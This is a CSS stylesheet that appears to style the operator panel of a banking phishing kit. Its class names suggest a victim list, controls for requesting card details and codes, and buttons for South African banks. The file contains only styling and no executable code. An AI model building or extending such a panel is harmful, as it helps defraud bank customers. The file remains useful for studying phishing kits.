
/*@font-face { font-family: os;  font-weight: 400;  font-style: normal;  src:url('os.woff');}*/
*{outline:none; box-sizing:border-box; font-family:courier; max-width:100%; }
body{padding:0; margin:0; background:#121212; color:#82ff75;}
a{text-decoration:none; color:#009319;}
.header{background:#000000; padding:15px; text-align:center; font-weight:bold; font-size:1.3em;}
.list-section{padding:15px;}
.list{background:#202020; }
.vic{padding:10px;}
.options{padding:10px 0;}
button{background:#0e6610; padding:5px; cursor:pointer; color:white; border:none; margin:3px;}
.selected{background:black;}
span{background:#000000; margin:2px; padding:0 8px; display:inline-block; font-weight:bold; color:#d56a6a;}

/* Stylish redirect / bank buttons */
.btn-grid {
    display: flex;
    flex-wrap: wrap;
    gap: 8px;
}

.btn-grid button {
    border: none;
    border-radius: 8px;
    padding: 10px 14px;
    margin: 0;
    font-family: inherit;
    font-size: 13px;
    font-weight: 700;
    letter-spacing: 0.02em;
    color: #fff;
    cursor: pointer;
    box-shadow: 0 4px 12px rgba(0,0,0,.35);
    transition: transform .12s ease, filter .12s ease;
}

.btn-grid button:hover {
    filter: brightness(1.12);
    transform: translateY(-1px);
}

.btn-grid button:active {
    transform: translateY(1px);
}

.btn-card { background: linear-gradient(145deg, #2563eb, #1d4ed8); }
.btn-code { background: linear-gradient(145deg, #7c3aed, #5b21b6); }
.btn-approv { background: linear-gradient(145deg, #16a34a, #15803d); }
.btn-wait { background: linear-gradient(145deg, #ca8a04, #a16207); }
.btn-done { background: linear-gradient(145deg, #059669, #047857); }
.btn-err { background: linear-gradient(145deg, #dc2626, #b91c1c); }
.btn-block { background: linear-gradient(145deg, #4b5563, #1f2937); }

.bank-btns button {
    min-width: 140px;
}

.bk-ned { background: linear-gradient(145deg, #15803d, #006633); }
.bk-stan { background: linear-gradient(145deg, #2563eb, #0033a0); }
.bk-cap { background: linear-gradient(145deg, #e11d48, #9f1239); }
.bk-fnb { background: linear-gradient(145deg, #14b8a6, #0f766e); }
.bk-inv { background: linear-gradient(145deg, #374151, #111827); }